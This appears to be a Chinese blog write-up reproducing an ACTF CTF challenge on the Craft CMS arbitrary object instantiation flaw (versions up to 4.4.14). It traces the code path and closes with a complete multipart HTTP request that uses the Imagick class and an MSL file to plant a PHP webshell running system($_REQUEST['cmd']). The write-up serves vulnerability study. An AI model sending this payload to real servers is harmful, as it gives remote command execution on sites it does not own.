故事从这里说起
在前不久的ACTF中看见了这个cms,有一个原生类调用写马新trick,于是今天来复现学习下
环境配置
需要使用php8以上版本,安装好所有的扩展,下载存在漏洞的版本:https://github.com/craftcms/cms/releases/download/4.4.14/CraftCMS-4.4.14.zip
要求文档https://craftcms.com/docs/4.x/requirements.html
php craft setup
php craft serve
然后访问127.0.0.1:8080即可
或者可以使用ACTF配好的docker搭建也是没有问题的:https://github.com/team-s2/ACTF-2023/tree/main/web/craftcms
漏洞通告
Affected versions
\>= 4.0.0-RC1, <= 4.4.14
在通告中我们可以看见改动在cotrollers/ConditionsController.php中的beforeAction方法中
https://github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g
漏洞分析
跟到这个函数中这个函数主要是在方法被调用之前调用
主要的漏洞点在这个configure方法中,想要得到这个函数的参数,必须得执行createContdition方法
跟进到src/services/Conditions.php
我们可以看见如果所传入的class并非ConditionInterface 类的子类,那么就会抛出异常 ,ctrl+alt+B我们可以看见他所有的子类,让我们接着回过头来看conficonfigure这个函数,他是一个对象属性进行赋值的一个函数,并返回赋值属性之后的对象
这里我们可以想到__set魔术方法 寻找一下 发现跟入的是Component.php中的__set魔术方法
如果在这里对一个不存在的成员变量赋值,会调用yii\base\Component::__set(),跟入set方法下,这里我们看到第三条,首先如果我们以"as "为开头时 ,会先移除前面的部分,接下来判断value值是否这个实现了Behavior接口的实例,不是的话将value作为构造函数的参数
跟进Yii::create0bject
如果type中包含"class"的键值对,就把他赋给class变量,接着跟入get函数
get函数中如果_definitions成员变量没有class的值 ,那么就执行build,build函数是一个让我们能创建任意对象,并会调用该类的构造和析构函数,这样就完成了任意类实例化,这样我们就可以想到原生类的利用
这时候我们可以看看p神星球的新trick 也就是原生imagick类 他只有一个构造参数 ,满足了条件
MSL全称是Magick Scripting Language,它是一种内置的 ImageMagick 语言,其中存在两个标签<read>
和<write>
可以用于读取和写入文件,这个 Trick 的核心就是利用这两个标签写入任意文件Webshell
payload:
POST /index.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: */*
Host: 192.168.111.178:8080
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------974726398307238472515955
Content-Length: 850
----------------------------974726398307238472515955
Content-Disposition: form-data; name="action"
conditions/render
----------------------------974726398307238472515955
Content-Disposition: form-data; name="configObject"
craft\elements\conditions\ElementCondition
----------------------------974726398307238472515955
Content-Disposition: form-data; name="config"
{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:/tmp/php*"}}}
----------------------------974726398307238472515955
Content-Disposition: form-data; name="image"; filename="poc.msl"
Content-Type: text/plain
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:<?php system($_REQUEST['cmd']); ?>"/>
<write filename="info:/var/www/html/craft/web/shell.php">
</image>
----------------------------974726398307238472515955--
原生imagick类可以看bmth师傅的博客,比较详细:
复现参考:
https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
评论已关闭